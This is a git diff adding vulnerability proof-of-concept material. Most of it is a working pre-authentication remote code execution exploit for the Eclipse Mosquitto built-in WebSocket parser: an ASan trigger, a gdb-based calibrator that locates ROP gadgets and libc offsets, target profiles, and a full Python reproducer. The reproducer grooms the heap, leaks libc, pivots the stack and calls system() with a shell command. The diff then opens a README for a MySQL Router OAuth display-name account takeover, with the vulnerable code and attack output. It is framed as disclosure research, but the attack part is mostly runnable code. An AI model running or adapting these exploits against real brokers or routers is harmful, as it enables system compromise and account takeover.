What can go wrong + +The profile encodes heap-grooming geometry that depends on a fresh broker process with no other connections or loaded plugins. If the heap layout is different (leftover connections, plugins, different allocator, different glibc, ASLR slide landing differently relative to allocation patterns), the overwrite will miss its target and the broker will just crash or hang instead of executing the command. The calibrator can only help with ABI and libc offsets; the heap geometry is inherited from the seed profile and has to match your setup. + +## ASan Trigger (simpler, no RCE) + +If you just want to confirm the heap overwrite without the full exploit chain, build with ASan and send the raw trigger: + +```python +import base64, os, socket +s = socket.create_connection(("127.0.0.1", 18910)) +k = base64.b64encode(os.urandom(16)).decode() +r = ( + "GET /mqtt HTTP/1.1\r\nHost: 127.0.0.1:18910\r\n" + "Upgrade: websocket\r\nConnection: Upgrade\r\n" + f"Sec-WebSocket-Key: {k}\r\nSec-WebSocket-Version: 13\r\n" + "Sec-WebSocket-Protocol: mqtt\r\n\r\n" +) +s.sendall(r.encode()) +x = b"" +while b"\r\n\r\n" not in x: + x += s.recv(4096) +assert x.startswith(b"HTTP/1.1 101") +s.sendall(bytes.fromhex("828200000000100182800000000082a000000000") + b"A" * 32) +``` + +ASan output: `heap-buffer-overflow WRITE of size 32` at `net_ws.c:305`, three bytes past a one-byte allocation at `packet_mosq.c:561`. + +## Limitations + +- Not a universal remote exploit. Requires a profile matching the target binary/libc/allocator. +- Only works against the built-in WebSocket backend. Deployments using libwebsockets are not affected by this specific parser flaw. +- Needs a fresh broker process for reliable heap layout. Production brokers with active connections and plugins will have different heap state. +- x86-64 Linux only (the ROP chain and gadget scanning assume this). Other architectures would need different gadgets and possibly different grooming. +- The broker process dies after exploitation (clean exit via `_exit(0)`, but still a single-shot). + +## Fix + +Return only application bytes that were actually written to the buffer. When `net__read_ws()` processes an empty or control frame, it should continue or return a retry indicator, never the mask byte count. In `packet__read_single()`, reject any transport return value greater than the remaining destination length before doing unsigned arithmetic on counters or advancing pointers. Disconnect on any invariant failure. diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/calibrate-builtin-websocket-profile.py b/mosquitto-builtin-websocket-preauth-rce-poc/calibrate-builtin-websocket-profile.py new file mode 100644 index 0000000..8e9fa03 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/calibrate-builtin-websocket-profile.py @@ -0,0 +1,206 @@ +import argparse +import json +import re +import runpy +import struct +import subprocess +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPRODUCER = HERE / "repro-builtin-websocket-rce.py" +GDB_VALUE = re.compile(r"^\$\d+\s*=\s*(0x[0-9a-fA-F]+)", re.MULTILINE) + + +def quoted_gdb_path(path: Path) -> str: + return '"' + str(path.resolve()).replace("\\", "\\\\").replace('"', '\\"') + '"' + + +def gdb_values(gdb: str, binary: Path, expressions: list[str]) -> list[int]: + command = [gdb, "-q", "-batch", "-ex", f"file {quoted_gdb_path(binary)}"] + for expression in expressions: + command.extend(("-ex", f"p/x {expression}")) + result = subprocess.run(command, capture_output=True, text=True, check=False) + values = [int(value, 16) for value in GDB_VALUE.findall(result.stdout)] + if result.returncode or len(values) != len(expressions): + detail = (result.stderr or result.stdout).strip() + raise RuntimeError(f"gdb could not resolve the requested ABI: {detail}") + return values + + +def executable_pattern_offsets(elf: Path, pattern: bytes) -> list[int]: + data = elf.read_bytes() + if data[:6] != b"\x7fELF\x02\x01": + raise ValueError(f"{elf} is not a little-endian ELF64 image") + machine = struct.unpack_from(" int: + return max(0x20, (request + 8 + 15) & ~15) + + +def hex_profile(profile: dict[str, int | str]) -> dict[str, int | str]: + return { + key: value if key in {"name", "target", "initial_empty_frames"} else hex(value) + for key, value in profile.items() + } + + +def calibrate(args: argparse.Namespace) -> dict[str, int | str]: + namespace = runpy.run_path(str(REPRODUCER)) + profile = namespace["load_profile"](args.seed_profile) + if args.name: + profile["name"] = args.name + if args.target: + profile["target"] = args.target + + broker_values = gdb_values( + args.gdb, + args.broker, + [ + "sizeof(struct mosquitto)", + "&((struct mosquitto *)0)->sock", + "&((struct mosquitto *)0)->id", + "&((struct mosquitto *)0)->listener", + "&((struct mosquitto__listener *)0)->security_options", + "&((struct mosquitto__security_options *)0)->plugin_callbacks.disconnect", + "&((struct mosquitto__callback *)0)->next", + "&((struct mosquitto__callback *)0)->cb", + "&((struct mosquitto__callback *)0)->userdata", + ], + ) + ( + broker_size, + context_sock, + context_id, + context_listener, + listener_security, + security_disconnect, + callback_next, + callback_cb, + callback_userdata, + ) = broker_values + + old_broker_size = profile["broker_struct_size"] + if glibc_chunk_size(broker_size) != glibc_chunk_size(old_broker_size): + raise RuntimeError( + "broker struct changed glibc allocation class; the seed heap-grooming geometry must be " + "recalibrated with a local allocation trace" + ) + context_tail = profile["context_self_after_broker_size"] + profile.update( + { + "broker_struct_size": broker_size, + "context_self_body_offset": broker_size + context_tail, + "context_sock_offset": context_sock, + "context_id_offset": context_id, + "context_listener_offset": context_listener, + "listener_security_options_offset": listener_security, + "security_disconnect_offset": security_disconnect, + "callback_next_offset": callback_next, + "callback_cb_offset": callback_cb, + "callback_userdata_offset": callback_userdata, + } + ) + + main_arena, bins, system, process_exit = gdb_values( + args.gdb, + args.libc, + [ + "&main_arena", + "&((struct malloc_state *)0)->bins", + "(void *)system", + "(void *)_exit", + ], + ) + pivots = executable_pattern_offsets(args.libc, b"\x48\x89\xd4\xc3") + pop_rdis = executable_pattern_offsets(args.libc, b"\x5f\xc3") + if not pivots: + raise RuntimeError("libc contains no executable 'mov rsp, rdx; ret' gadget") + if not pop_rdis: + raise RuntimeError("libc contains no executable 'pop rdi; ret' gadget") + + profile.update( + { + "main_arena_unsorted_offset": main_arena + bins - 0x10, + "pivot_offset": pivots[0], + "pop_rdi_offset": pop_rdis[0], + "system_offset": system, + "exit_offset": process_exit, + } + ) + return profile + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Derive a localhost-only Mosquitto exploit profile from local debug binaries" + ) + parser.add_argument("--broker", type=Path, required=True, help="local Mosquitto ELF with DWARF") + parser.add_argument("--libc", type=Path, required=True, help="matching local glibc ELF/debug symbols") + parser.add_argument("--output", type=Path, required=True, help="profile JSON to create") + parser.add_argument( + "--seed-profile", + type=Path, + help="known profile supplying target-specific heap-grooming geometry", + ) + parser.add_argument("--name", help="profile name") + parser.add_argument("--target", help="human-readable target constraint") + parser.add_argument("--gdb", default="gdb", help="gdb executable") + args = parser.parse_args() + + for path in (args.broker, args.libc): + if not path.is_file(): + parser.error(f"local file not found: {path}") + if args.output.exists(): + parser.error(f"refusing to overwrite existing profile: {args.output}") + + profile = calibrate(args) + args.output.write_text(json.dumps(hex_profile(profile), indent=2, sort_keys=True) + "\n", encoding="utf-8") + print( + json.dumps( + { + "result": "profile_created", + "output": str(args.output), + "profile": profile["name"], + "derived_locally": [ + "Mosquitto structure offsets", + "glibc main_arena unsorted-bin offset", + "libc function offsets", + "required executable ROP gadgets", + ], + "inherited_from_seed": [ + "connection and packet allocation order", + "initial empty-frame count", + "PONG/fence relative heap geometry", + "fake-object scratch placement", + ], + } + ) + ) + + +if __name__ == "__main__": + main() diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json new file mode 100644 index 0000000..59dd617 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json @@ -0,0 +1,29 @@ +{ + "name": "v2.1.0-v2.1.2-ubuntu-24.04-glibc-2.39", + "target": "Eclipse Mosquitto release tags v2.1.0 through v2.1.2, local RelWithDebInfo builds", + "initial_empty_frames": 12475, + "main_arena_unsorted_offset": "0x203b20", + "pivot_offset": "0x5ef6f", + "pop_rdi_offset": "0x10c08d", + "system_offset": "0x58750", + "exit_offset": "0xee300", + "broker_struct_size": "0x370", + "context_self_after_broker_size": "0x524", + "context_self_body_offset": "0x894", + "context_sock_offset": "0x4", + "fence_from_pong": "0x5d0", + "unsorted_from_pong": "0xc0", + "fake_listener_from_unsorted": "0x20", + "fake_security_from_unsorted": "0x100", + "fake_callback_from_unsorted": "0x220", + "rop_stack_from_unsorted": "0x300", + "command_from_unsorted": "0x350", + "write_start_from_pong": "0x10", + "listener_security_options_offset": "0xc8", + "security_disconnect_offset": "0xd0", + "callback_next_offset": "0x38", + "callback_cb_offset": "0x48", + "callback_userdata_offset": "0x50", + "context_id_offset": "0x60", + "context_listener_offset": "0x258" +} diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-affected-range.json b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-affected-range.json new file mode 100644 index 0000000..0b7ce73 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-affected-range.json @@ -0,0 +1,107 @@ +{ + "captured_utc": "2026-08-13T16:43:00Z", + "project": "Eclipse Mosquitto", + "finding": "Built-in WebSocket empty-frame byte-count violation to pre-authentication heap out-of-bounds write and target-specific RCE", + "root_cause_history": { + "introduction_commit": "799cdead151a9fd8f1961597b1bcbeb21e951f86", + "introduction_date": "2021-09-09T23:55:33+01:00", + "introduction_subject": "Experimental custom websockets support.", + "attribution": "git blame at v2.1.0 attributes the zero-payload allocation/return/reset logic in lib/net_ws.c:276-345 to the introduction commit, apart from later allocation-wrapper and count-clamp edits that do not correct the byte-count contract violation.", + "first_tag_containing_root_cause": "2.1.0-test1", + "tags_containing_root_cause": [ + "2.1.0-test1", + "2.1.0rc1", + "v2.1.0rc2", + "v2.1.0rc3", + "v2.1.0", + "v2.1.1", + "v2.1.2" + ], + "pre_release_delta": "2.1.0-test1 to v2.1.0 changes only explicit casts in two decrement expressions in lib/net_ws.c; it does not change the vulnerable zero-payload return path." + }, + "stable_release_runtime_results": [ + { + "tag": "v2.1.0", + "commit": "fc415c00b8cc10724ad4cdcaef299324052b2751", + "clean_binary": "/mnt/c/tmp/mosquitto-v210-clean-build/src/mosquitto", + "clean_binary_sha256": "5ac305e18296c31b60376026e4c2329612e7eb305dd3162ba60ec44165f17e87", + "asan_result": "heap-buffer-overflow WRITE of size 32 in net__read_ws lib/net_ws.c:305, reached through packet__read_single lib/packet_mosq.c:588; process aborted with exit 134", + "clean_rce_result": "remote_code_execution_confirmed", + "clean_rce_response_sha256": "d3543b8644432baf7570eac431b510c5a6f489b2cb3aab54b032eac7042a60c8", + "clean_rce_broker_exit_code": 0 + }, + { + "tag": "v2.1.1", + "commit": "f58cecd04ce4102b82094c53767bdb25a2bee31b", + "clean_binary": "/mnt/c/tmp/mosquitto-v211-clean-build/src/mosquitto", + "clean_binary_sha256": "21dd6f07dc410a6184e3d6a36c1c0b7b3a93b02406e04c2348327f5fab450942", + "clean_rce_result": "remote_code_execution_confirmed", + "clean_rce_response_sha256": "7308ebb4ce591431715728da0b2d0a73e37a63d8c9d2f1d59fc159988db56cac", + "clean_rce_broker_exit_code": 0 + }, + { + "tag": "v2.1.2", + "commit": "99fa50f30e325609394c324c8ff71cfbbe95d8ab", + "clean_binary": "/mnt/c/tmp/mosquitto-v212-clean-build/src/mosquitto", + "clean_binary_sha256": "51bc1f4be8dc02e391d65931873d813701e95c1da672f2b941dfd5fab605866e", + "asan_result": "heap-buffer-overflow WRITE of size 32 in net__read_ws lib/net_ws.c:305, reached through packet__read_single lib/packet_mosq.c:588; process aborted with exit 134", + "clean_rce_result": "remote_code_execution_confirmed", + "clean_rce_response_sha256": "e2f3d77e62a2e6e563cbe327ae1adaa8fe5ae38b52cdca37da347881666676c8", + "clean_rce_broker_exit_code": 0 + } + ], + "development_status": { + "tested_commit": "5cd2546511596a269dbf53f85858c623b09ebdd6", + "tested_clean_rce_result": "remote_code_execution_confirmed", + "latest_test_response_sha256": "7f0cfa3b12cba3b9a4ec5ef9ae17e705a4a873aebaddde20fe80b6a9172c8aae", + "latest_test_broker_exit_code": 0, + "fetched_refs": { + "origin/master": "5cd2546511596a269dbf53f85858c623b09ebdd6", + "origin/develop": "3bddd1affe63b501de83c6e8e5ffbf23912cd29d", + "origin/release/2.1": "7ecbb8025860542d7236b3eceb96a6b84e9bba2c" + }, + "source_comparison": "lib/net_ws.c has no diff from v2.1.0 to any of the three fetched refs; no fix is present in those refs as captured. Only origin/master was exercised end to end in a clean process." + }, + "negative_boundary": { + "tag": "v2.0.22", + "commit": "766fa2c5a9bed6c65249cf555f430b982c417480", + "result": "not affected by this specific built-in-parser flaw", + "basis": "lib/net_ws.c and the built-in WebSocket backend do not exist at this tag; the separate libwebsockets backend is outside this root cause." + }, + "affected_range_conclusion": { + "stable_releases_confirmed": "v2.1.0 through v2.1.2 inclusive", + "pre_releases_source_affected": "2.1.0-test1, 2.1.0rc1, v2.1.0rc2, and v2.1.0rc3", + "current_unreleased_refs": "still source-affected at the fetched 2026-08-13 refs; origin/master is runtime-confirmed", + "fixed_upper_bound": null, + "scope": "Only builds using the built-in WebSocket backend with a reachable protocol websockets listener. Builds without WebSockets and builds using the separate libwebsockets backend do not execute this parser." + }, + "portable_reproducer": { + "universal_remote_exploit": false, + "profiled_local_reproducer": true, + "shared_release_profile": "mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json", + "profile_result": "One release profile completed marker-only RCE against clean v2.1.0, v2.1.1, and v2.1.2 processes on Ubuntu 24.04 x86-64 glibc 2.39 with identical build options.", + "local_calibrator": "calibrate-builtin-websocket-profile.py", + "calibrator_derives": [ + "Mosquitto structure and callback offsets from broker DWARF", + "glibc main_arena unsorted-bin offset from local debug types", + "system and _exit offsets", + "executable mov rsp,rdx;ret and pop rdi;ret gadgets" + ], + "calibrator_inherits_from_seed": [ + "fresh-process allocation order", + "12,475-frame overwrite distance", + "PONG/fence relative heap geometry", + "fake-object scratch placement" + ], + "calibrator_safety": "Reads local broker/libc files only, requires local debug information, never connects to a target, and refuses a broker structure change that crosses the seed glibc allocation class.", + "generated_profile_smoke_result": "A profile generated locally for the v2.1.2 binary completed marker-only RCE in a fresh localhost process and exited 0.", + "non_portable_constraints": [ + "allocator and heap state", + "libc image and available gadgets", + "Mosquitto structure ABI", + "compiler and linker hardening including CET/shadow stack", + "architecture and pointer representation", + "listener startup allocations and loaded plugins" + ] + } +} diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-rce-final.conf b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-rce-final.conf new file mode 100644 index 0000000..cbe4fc3 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-rce-final.conf @@ -0,0 +1,5 @@ +listener 18910 127.0.0.1 +protocol websockets +allow_anonymous true +persistence false +log_type error diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/repro-builtin-websocket-rce.py b/mosquitto-builtin-websocket-preauth-rce-poc/repro-builtin-websocket-rce.py new file mode 100644 index 0000000..e5d954a --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/repro-builtin-websocket-rce.py @@ -0,0 +1,325 @@ +import argparse +import base64 +import hashlib +import json +import os +import secrets +import socket +import struct +import time +from pathlib import Path + +HOST = "127.0.0.1" +DEFAULT_PORT = 18910 +INITIAL_EMPTY_FRAMES = 12_475 +LEAKED_MAIN_ARENA_OFFSET = 0x203B20 +PIVOT_OFFSET = 0x5EF6F # mov rsp, rdx; ret +POP_RDI_OFFSET = 0x10C08D # pop rdi; ret +SYSTEM_OFFSET = 0x58750 +EXIT_OFFSET = 0xEE300 +MARKER = Path(__file__).with_name("mosquitto-rce-clean-proof.txt") +MARKER_TARGET = "/tmp/mosquitto-rce-clean-proof.txt" +LEAK_CAPTURE = Path(__file__).with_name("builtin-websocket-rce-leak.bin") + +DEFAULT_PROFILE = { + "name": "master-5cd25465-ubuntu-24.04-glibc-2.39", + "target": "Mosquitto development commit 5cd2546511596a269dbf53f85858c623b09ebdd6", + "initial_empty_frames": INITIAL_EMPTY_FRAMES, + "main_arena_unsorted_offset": LEAKED_MAIN_ARENA_OFFSET, + "pivot_offset": PIVOT_OFFSET, + "pop_rdi_offset": POP_RDI_OFFSET, + "system_offset": SYSTEM_OFFSET, + "exit_offset": EXIT_OFFSET, + "broker_struct_size": 0x378, + "context_self_after_broker_size": 0x524, + "context_self_body_offset": 0x89C, + "context_sock_offset": 4, + "fence_from_pong": 0x5D0, + "unsorted_from_pong": 0xC0, + "fake_listener_from_unsorted": 0x20, + "fake_security_from_unsorted": 0x100, + "fake_callback_from_unsorted": 0x220, + "rop_stack_from_unsorted": 0x300, + "command_from_unsorted": 0x350, + "write_start_from_pong": 0x10, + "listener_security_options_offset": 0xC8, + "security_disconnect_offset": 0xD0, + "callback_next_offset": 0x38, + "callback_cb_offset": 0x48, + "callback_userdata_offset": 0x50, + "context_id_offset": 0x60, + "context_listener_offset": 0x260, +} + + +def load_profile(path: Path | None) -> dict[str, int | str]: + profile = DEFAULT_PROFILE.copy() + if path is None: + return profile + + supplied = json.loads(path.read_text(encoding="utf-8")) + if not isinstance(supplied, dict): + raise ValueError("profile must be a JSON object") + unknown = set(supplied) - set(DEFAULT_PROFILE) + if unknown: + raise ValueError(f"unknown profile fields: {', '.join(sorted(unknown))}") + profile.update(supplied) + for key, value in profile.items(): + if key in {"name", "target"}: + if not isinstance(value, str) or not value: + raise ValueError(f"profile field {key} must be a nonempty string") + elif isinstance(value, str): + profile[key] = int(value, 0) + elif not isinstance(value, int): + raise ValueError(f"profile field {key} must be an integer or integer string") + + if profile["callback_cb_offset"] != profile["callback_next_offset"] + 0x10: + raise ValueError("profile callback cb/next offsets are not contiguous") + if profile["callback_userdata_offset"] != profile["callback_cb_offset"] + 8: + raise ValueError("profile callback userdata/cb offsets are not contiguous") + return profile + + +def recv_headers(sock: socket.socket) -> bytes: + response = bytearray() + while b"\r\n\r\n" not in response: + chunk = sock.recv(4096) + if not chunk: + raise RuntimeError("connection closed during WebSocket upgrade") + response.extend(chunk) + if not response.startswith(b"HTTP/1.1 101 "): + raise RuntimeError(f"WebSocket upgrade failed: {response[:80]!r}") + return bytes(response) + + +def websocket_upgrade(port: int) -> socket.socket: + sock = socket.create_connection((HOST, port), timeout=5) + sock.settimeout(5) + key = base64.b64encode(os.urandom(16)).decode("ascii") + request = ( + f"GET /mqtt HTTP/1.1\r\n" + f"Host: {HOST}:{port}\r\n" + "Upgrade: websocket\r\n" + "Connection: Upgrade\r\n" + f"Sec-WebSocket-Key: {key}\r\n" + "Sec-WebSocket-Version: 13\r\n" + "Sec-WebSocket-Protocol: mqtt\r\n\r\n" + ).encode("ascii") + sock.sendall(request) + recv_headers(sock) + return sock + + +def masked_binary(payload: bytes) -> bytes: + length = len(payload) + if length < 126: + header = bytes((0x82, 0x80 | length)) + elif length < 65_536: + header = bytes((0x82, 0xFE)) + length.to_bytes(2, "big") + else: + header = bytes((0x82, 0xFF)) + length.to_bytes(8, "big") + return header + b"\x00\x00\x00\x00" + payload + + +def pointer_candidates(body: bytes, main_arena_offset: int) -> list[tuple[int, int]]: + candidates = [] + for offset in range(len(body) - 7): + value = int.from_bytes(body[offset : offset + 8], "little") + if 0x700000000000 <= value <= 0x7FFFFFFFFFFF: + if (value - main_arena_offset) & 0xFFF == 0: + candidates.append((offset, value)) + return candidates + + +def exploit(port: int, profile: dict[str, int | str]) -> dict[str, object]: + sockets: list[socket.socket] = [] + token = f"MOSQUITTO_RCE_CLEAN_{secrets.token_hex(8)}" + try: + helpers = [websocket_upgrade(port) for _ in range(10)] + sockets.extend(helpers) + + partial_ping_125 = bytes.fromhex("89fd00000000") + for helper in helpers[:8]: + helper.sendall(partial_ping_125) + time.sleep(0.08) + + victim = websocket_upgrade(port) + sockets.append(victim) + victim.sendall(masked_binary(bytes.fromhex("1001"))) + time.sleep(0.04) + + leak_target = helpers[8] + leak_target.sendall(partial_ping_125) + time.sleep(0.04) + + unsorted_helper = helpers[9] + unsorted_helper.sendall(masked_binary(bytes.fromhex("10800a"))) + time.sleep(0.08) + + fence = websocket_upgrade(port) + sockets.append(fence) + time.sleep(0.05) + unsorted_helper.close() + time.sleep(0.10) + + empty_frame = bytes.fromhex("828000000000") + victim.sendall(empty_frame * profile["initial_empty_frames"]) + time.sleep(1.00) + victim.sendall(masked_binary(struct.pack(" None: + delta = address - current[0] + if delta < 0 or delta % 4 or len(data) % 4: + raise RuntimeError( + f"unaligned forward write: current={current[0]:#x}, target={address:#x}, length={len(data)}" + ) + if delta: + victim.sendall(empty_frame * (delta // 4)) + victim.sendall(masked_binary(data)) + current[0] = address + len(data) + time.sleep(0.015) + + pack = lambda value: struct.pack("{MARKER_TARGET}".encode("ascii") + b"\x00" + command += b"\x00" * (-len(command) % 4) + write_forward(command_address, command) + write_forward(fence_context + profile["context_id_offset"], pack(command_address)) + write_forward(fence_context + profile["context_listener_offset"], pack(fake_listener)) + time.sleep(0.30) + + fence.shutdown(socket.SHUT_RDWR) + fence.close() + + deadline = time.time() + 5 + proof = None + while time.time() < deadline: + try: + proof = MARKER.read_text(encoding="ascii").strip() + except (FileNotFoundError, OSError): + pass + if proof == token: + break + time.sleep(0.05) + if proof != token: + raise RuntimeError("callback ROP executed no observable marker command") + + return { + "result": "remote_code_execution_confirmed", + "target": f"{HOST}:{port}", + "profile": profile["name"], + "profile_target": profile["target"], + "websocket_response_length": len(leak), + "websocket_response_sha256": hashlib.sha256(leak).hexdigest(), + "websocket_response_capture": str(LEAK_CAPTURE), + "main_arena_leak_offset": hex(leak_offset), + "main_arena_pointer": hex(main_arena_pointer), + "context_self_pointer": hex(context_self_pointer), + "pong_object": hex(pong_object), + "unsorted_chunk": hex(unsorted_chunk), + "fence_context": hex(fence_context), + "libc_base": hex(libc_base), + "stack_pivot": hex(pivot), + "system": hex(system), + "marker": str(MARKER), + "marker_value": proof, + "initial_empty_frames": profile["initial_empty_frames"], + "constraints": [ + "localhost-only reproducer", + profile["target"], + "built-in WebSocket backend", + "profile-matched Mosquitto ABI, libc, and allocator geometry", + "deterministic fresh-process allocator layout", + ], + } + finally: + for sock in sockets: + try: + sock.close() + except OSError: + pass + + +def main() -> None: + parser = argparse.ArgumentParser(description="Local Mosquitto built-in-WebSocket RCE reproducer") + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument("--profile", type=Path, help="local target profile JSON") + parser.add_argument( + "--dump-default-profile", + action="store_true", + help="print the built-in development profile without connecting", + ) + args = parser.parse_args() + profile = load_profile(args.profile) + if args.dump_default_profile: + print(json.dumps(profile, indent=2, sort_keys=True)) + return + result = exploit(args.port, profile) + print(json.dumps(result, indent=2, sort_keys=True)) + + +if __name__ == "__main__": + main() diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/README.md b/mysql-router-mrs-oauth-cached-name-ato-poc/README.md new file mode 100644 index 0000000..fd6ee80 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/README.md @@ -0,0 +1,170 @@ +# MySQL Router MRS OAuth Cached Display-Name Account Takeover PoC + +This entry documents and exercises an account-takeover vulnerability in MySQL Router's MySQL REST Service (MRS) OAuth user cache. An attacker who can set their OAuth display name to match a cached victim's name inherits the victim's internal user ID, privileges, groups, and session state. The metadata row is then permanently rebound to the attacker. + +## Target + +| Field | Value | +| --- | --- | +| Product | MySQL Router 9.7.1, MySQL REST Service | +| Tested revision | `06a5c1c99c377fc41b2eba1ea244e8b220bdc3c8` (trunk) | +| Runtime verified | MySQL Router 9.7.1 generic Linux + MySQL Community Server 9.7.2 (`mysql:9.7`) | +| Component path | OAuth2/OIDC authentication, `UserManager::cache_get()`, `UserManager::user_get()` | +| Configuration | `limit_to_registered_users=true` (default), no special flags | +| End-to-end verification | Passed from a clean isolated deployment on 2026-08-09 | + +## Root Cause + +`UserManager::cache_get()` first attempts an exact cache lookup by `vendor_user_id`. When that misses (new attacker subject), it scans every cached user and treats either an email match or a display-name match as an identity hit. Google, Facebook, and generic OIDC handlers all copy the provider's `name` field into this comparison. Display names are mutable and non-unique on every major provider. + +When the attacker-supplied name matches a cached victim, `result` points at the victim entry even though the email and subject differ. The `is_different` flag is set, which feeds into `user_get()` as `needs_update`. That path copies the victim's privileges, groups, login status, and options into the attacker's profile, assigns the victim's internal `user_id` to the attacker, and calls `query_update_user()` to replace the victim row's `vendor_user_id` and email with the attacker's values. This all happens before the `limit_to_registered_users` check, which only fires when both cache and database lookup fail. + +## Source Trace + +| File | Behavior | +| --- | --- | +| `router/src/mysql_rest_service/src/mrs/users/user_manager.cc:65-100` | `cache_get()`: after exact subject miss, linear scan treats name match as identity match | +| `router/src/mysql_rest_service/src/mrs/users/user_manager.cc:122-205` | `user_get()`: copies victim privileges and calls `query_update_user()` with attacker identity | +| `router/src/mysql_rest_service/include/mrs/database/entry/auth_user.h:49-102` | `UserIndex::operator==` compares only `user_id` or `vendor_user_id`, no `app_id` | +| `router/src/mysql_rest_service/src/mrs/database/query_entry_auth_user.cc:156-170` | `query_update_user()` overwrites `vendor_user_id`, `email`, `name` on the victim row | +| `router/src/mysql_rest_service/src/mrs/authentication/oauth2_handler.cc:325-341` | `http_verify_account()` passes provider profile into `user_get()` | +| `router/src/harness/include/mysql/harness/utility/cache.h:38-110` | `FixedLruCache` with 100-entry capacity, no TTL | + +The vulnerable code path in `cache_get()`: + +```cpp +for (auto &kv : container) { + auto &value = kv.second; + bool is_different = false; + if (!out_user->email.empty()) { + if (out_user->email == value.email) + result = &value; + else + is_different = true; + } + if (!out_user->name.empty()) { + if (out_user->name == value.name) + result = &value; // name match overrides email mismatch + else + is_different = true; + } + if (result && out_is_different) { + *out_is_different = is_different; + break; + } +} +``` + +## Impact + +The attacker receives the cached victim's internal MRS user ID, CRUD privileges, groups, and authorization state. They can perform every MRS operation available to that victim against the REST-exposed database objects. The metadata update replaces the victim row's `vendor_user_id` and email with attacker-controlled values, so the takeover survives Router restarts. The victim is locked out until the row is manually rebound. + +This is an MRS account-takeover and database authorization bypass. Confidentiality and integrity impact depend on the victim's MRS roles and the objects exposed by the service; a privileged service user has full CRUD access. Scored CVSS 3.1 9.1 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`). Oracle may instead score `AC:H` for cache residency, giving 7.4 High. + +CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-287 (Improper Authentication), CWE-862 (Missing Authorization). + +## Cache Residency + +Each OAuth handler owns a `FixedLruCache`. No TTL. A victim remains cached until the handler is destroyed, the user is explicitly invalidated, or 100 distinct later insertions evict it by LRU. Exact cache hits refresh the victim's position, so an active victim stays resident indefinitely. + +The focused C++ harness confirms: + +```text +cache_capacity=100 +victim_present_after_99_distinct_users=yes +victim_present_after_100_distinct_users=no +``` + +## Real-Provider Applicability + +MRS maps `name` from Google, Facebook, and generic OIDC user-info responses. Google documents that `name` is a displayable full name with no uniqueness guarantee, and users can change it freely. Facebook's `name` is a default public-profile field, also changeable. OpenID Connect Core section 5.7 states that only `iss`+`sub` is guaranteed unique and stable. + +The end-to-end PoC uses a local fake OIDC provider. No live Google or Facebook login was performed. + +## Attack Prerequisites + +- MRS exposes an OAuth2/OIDC authentication application +- The victim has authenticated since the handler cache was created (victim is cached) +- The attacker can authenticate to the same external provider and set their display name to match the victim's MRS display name +- The victim's display name is known or guessable + +No MySQL credential, victim provider subject, victim email, or victim interaction required. + +## PoC Design + +Two reproducers are included: + +**End-to-end (`poc/mrs_oauth_cached_name_collision_e2e.sh`):** Fully isolated. Starts a `mysql:9.7` container, deploys MRS metadata with MySQL Shell, bootstraps Router, starts a local fake OIDC provider, and drives the full attack: + +1. Authenticates the victim to populate the production handler cache +2. Verifies an unrelated, unregistered, non-colliding control identity fails (`limit_to_registered_users=true`) +3. Authenticates the unregistered attacker with the colliding display name +4. Verifies `/lab/authentication/user` reports the victim's internal ID and `Secret Operator` role but the attacker's email +5. Reads and updates the protected REST endpoint through the stolen role +6. Restarts Router, clears the cache, then verifies the attacker still authenticates as the privileged record +7. Queries MySQL directly to confirm the victim row now contains the attacker's provider subject and email + +**Focused source harness (`poc/mrs_oauth_cached_name_collision.cc`):** Compiles against the production `UserManager` and `FixedLruCache` code. Directly exercises the cache collision and verifies privilege inheritance and LRU eviction boundaries. + +## Requirements + +End-to-end script: +- WSL or Linux x86-64 +- Docker with `mysql:9.7` image +- MySQL Router 9.7.1 generic Linux archive +- MySQL Shell 9.7.1 generic Linux archive +- Python 3 + +Paths default to `/mnt/c/tmp/mysql-router-9.7.1-linux-glibc2.28-x86_64` and `/mnt/c/tmp/mysql-shell-9.7.1-linux-glibc2.28-x86-64bit`; override with `ROUTER_HOME` and `SHELL_HOME`. + +## Quick Run + +```bash +# End-to-end +bash poc/mrs_oauth_cached_name_collision_e2e.sh + +# Source harness only (from WSL, needs the mysql-server source tree at ../mysql-server) +bash poc/mrs_oauth_cached_name_collision.sh +``` + +End-to-end output: + +```text +--- nonregistered control --- +login=fail +--- attacker session identity --- +{"name":"Privileged User","id":"11f1940e8adc184d9c6b32b13499783f", + "email":"attacker@example.invalid", + "roles":[{"caption":"Authenticated User"},{"caption":"Secret Operator"}]} +--- attacker protected update --- +{"id":1,"marker":"attacker-updated-through-stolen-role",...} +--- persistent database state --- +["11F1940E8ADC184D9C6B32B13499783F", + "attacker-provider-subject","Privileged User", + "attacker@example.invalid",1] +[1,"attacker-updated-through-stolen-role"] +post-restart protected read HTTP 200 +``` + +## Files + +| Path | Purpose | +| --- | --- | +| [`poc/mrs_oauth_cached_name_collision_e2e.sh`](poc/mrs_oauth_cached_name_collision_e2e.sh) | Self-contained end-to-end reproduction (Docker + Router + Shell) | +| [`poc/mrs_oauth_e2e_setup.py`](poc/mrs_oauth_e2e_setup.py) | MySQL Shell script: MRS metadata, auth app, roles, protected view, registered victim | +| 